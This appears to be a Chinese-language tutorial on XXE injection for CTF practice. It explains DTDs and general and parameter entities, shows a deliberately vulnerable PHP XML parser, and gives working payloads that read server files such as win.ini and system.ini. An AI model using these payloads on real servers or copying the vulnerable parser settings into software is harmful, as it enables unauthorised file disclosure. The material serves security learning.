一直对XXE理解不是很深入,今天仔细研究一下XXE以及CTF里面的XXE题型。
0x00 XML基本格式
XML 文档有自己的一个格式规范,这个格式规范是由 DTD控制的。文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
以上 DTD 解释如下:
- 第一行声明XML文件
- !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
- !ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
- !ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
- !ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
- !ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
- !ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
了解了DTD之后,来看XML的构成。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
元素
元素是 XML 以及 HTML 文档的主要构建模块。
元素就是DTD里面定义的element。
通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:
实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
一个内部实体声明
语法
<!ENTITY entity-name "entity-value">
一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明
<!ENTITY entity-name SYSTEM "URI/URL">
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
基本定义学习完了,接下来是XXE的重点,外部实体。
0x01 外部实体
除了<!ENTITY entity-name SYSTEM "URI/URL">这种引用外部实体的方式之外,还有一种引用方式是使用引用公用 DTD ,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在攻击中也可以起到和 SYSTEM 一样的作用。
通用实体与参数实体
实际上从另一个角度看,实体也可以分成通用实体和参数实体:
1.通用实体
用 &加上; 引用的实体,在DTD 中定义,在 XML 文档中引用,其实就是上面提到的。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<lastname>&file;</lastname>
</updateProfile>
2.参数实体
(1)使用 % 实体名
(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
例:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
参数实体可以引用其他参数实体。与命名实体一样,参数实体在整个文档被读取之后才被扩展。
参数实体还是很重要的。因为它是XXE里非常关键的操作。
0x02 有回显的XXE
考虑这样一种极端情况:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
在这段代码里面,使用input伪协议读取post请求里面的数据将其作为XML解析并且输出。
由此我们可以构造exp读取服务器上的敏感文件。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
看下效果:
可以看到读取到了服务器上的敏感文件。